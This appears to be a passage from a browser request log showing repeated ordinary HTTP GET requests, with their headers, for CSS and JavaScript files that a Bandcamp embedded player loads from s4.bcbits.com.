User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://bandcamp.com/EmbeddedPlayer.html/ref=http%253A%252F%252Ftheforestsessions.com%252Fblog%252Fabout%252F/album=2437981243/size=large/bgcol=333333/linkcol=ffffff/transparent=true/

                                         
                                         0.0.0.0
                                        


--- Additional Info ---
                                        
                                            GET /tmpdata/cache/embedded_player_v3_bundle_da87b1c1138b7d55cc513d7683863c13.css HTTP/1.1 
Host: s4.bcbits.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://bandcamp.com/EmbeddedPlayer.html/ref=http%253A%252F%252Ftheforestsessions.com%252Fblog%252Fabout%252F/album=2437981243/size=large/bgcol=333333/linkcol=ffffff/transparent=true/

                                         
                                         0.0.0.0
                                        


--- Additional Info ---
                                        
                                            GET /tmpdata/cache/v3_large_40b335e7d2273cdbbe2b231285051594.css HTTP/1.1 
Host: s4.bcbits.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://bandcamp.com/EmbeddedPlayer.html/ref=http%253A%252F%252Ftheforestsessions.com%252Fblog%252Fabout%252F/album=2437981243/size=large/bgcol=333333/linkcol=ffffff/transparent=true/

                                         
                                         0.0.0.0
                                        


--- Additional Info ---
                                        
                                            GET /tmpdata/cache/embedded_player_bundle_min_705a958ce63f8edd1a749cd5785d5abf.js HTTP/1.1 
Host: s4.bcbits.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://bandcamp.com/EmbeddedPlayer.html/ref=http%253A%252F%252Ftheforestsessions.com%252Fblog%252Fabout%252F/album=2437981243/size=large/bgcol=333333/linkcol=ffffff/transparent=true/

                                         
                                         0.0.0.0
                                        


--- Additional Info ---
                                        
                                            GET /tmpdata/cache/jquery_ui_bundle_min_58314a31505ae0631790f1eb52c2dd40.js HTTP/1.1 
Host: s4.bcbits.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://bandcamp.com/EmbeddedPlayer.html/ref=http%253A%252F%252Ftheforestsessions.com%252Fblog%252Fabout%252F/album=2437981243/size=large/bgcol=333333/linkcol=ffffff/transparent=true/

                                         
                                         0.0.0.0
                                        


--- Additional Info ---
                                        
                                            GET /tmpdata/cache/embedded_player_v3_bundle_da87b1c1138b7d55cc513d7683863c13.css HTTP/1.1 
Host: s4.bcbits.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://bandcamp.com/EmbeddedPlayer.html/ref=http%253A%252F%252Ftheforestsessions.com%252Fblog%252Fabout%252F/album=2437981243/size=large/bgcol=333333/linkcol=ffffff/transparent=true/

                                         
                                         0.0.0.0
                                        


--- Additional Info ---
                                        
                                            GET /tmpdata/cache/v3_large_40b335e7d2273cdbbe2b231285051594.css HTTP/1.1 
Host: s4.bcbits.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://bandcamp.com/EmbeddedPlayer.html/ref=http%253A%252F%252Ftheforestsessions.com%252Fblog%252Fabout%252F/album=2437981243/size=large/bgcol=333333/linkcol=ffffff/transparent=true/

                                         
                                         0.0.0.0
                                        


--- Additional Info ---